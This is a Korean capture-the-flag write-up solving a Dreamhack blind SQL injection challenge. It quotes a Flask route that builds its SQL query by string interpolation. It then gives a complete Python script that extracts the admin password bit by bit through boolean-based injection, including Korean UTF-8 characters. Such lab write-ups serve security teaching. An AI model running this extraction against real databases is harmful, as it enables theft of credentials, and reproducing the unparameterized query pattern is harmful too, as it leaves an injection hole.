[Dreamhack] Level 3: blind sql injection advanced

1. 문제

https://dreamhack.io/wargame/challenges/411

blind sql injection advanced

 

2. 해결 과정

문제에 '관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.' 라고 작성되어 있다. 

즉, 데이터가 반드시 아스키 범위로 구성되는 것은 아니라는 것이다. 

 

문제화면에는 uid를 입력받는 form이 존재한다. 

 

test를 입력해보니 존재한다는 문자열이 출력된다. 

이는 admin도 마찬가지였다.

다음으로 코드를 보면, / 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다.

이때 전달받은 데이터에 대해 필터링이 전혀 존재하지 않기 때문에 sql injection 취약점이 존재한다.

이때, 쿼리 실행의 결과를 그대로 출력해주지 않고, 쿼리 성공의 여부만 알 수 있기 때문에 Blind SQL Injection을 이용해 공격해야 한다. 

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)

 

따라서 ' 문자로 쿼리를 끝내고 우리가 원하는 쿼리를 삽입하여 SQL Injection 공격을 수행할 수 있다.

 

1. admin 패스워드 길이 찾기

• char_length 함수를 사용
• 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서는 char_length 함수를 사용해야  함
  •  length 함수는 문자열을 bytes 형태로 표현하였을 때의 길이를 반환하는 함수
  •  즉, 인코딩에 관계없이 전체 문자열을 표현하는데에 사용되는 바이트의 수를 반환하기 때문에 만약 아스키코드로 문자열이 구성되어있지 않다면, 올바르지 않은 값을 반환할 수 있

from requests import get

host = "문제 접속 정보"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

 

2. 각 문자 별 비트열 길이 찾기
패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서 각 문자를 비트열로 표현했을 때의 길이를 알아내야 한다.

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

3. 각 문자 별 비트열 추출
패스워드 별 각 문자에 해당하는 비트열을 추출한다.

이때 아스키코드의 경우 최대 8번, 한글의 경우 최대 24번의 요청으로 추출할 수 있다.

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

4. 비트열을 문자로 변환
추출한 비트열을 문자로 변환한다. 이 때 각 문자의 인코딩이 utf-8 이었음을 감안해야 한다. 

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

 

익스플로잇 코드

from requests import get

host = "http://host3.dreamhack.games:15691"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")

    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

 

해결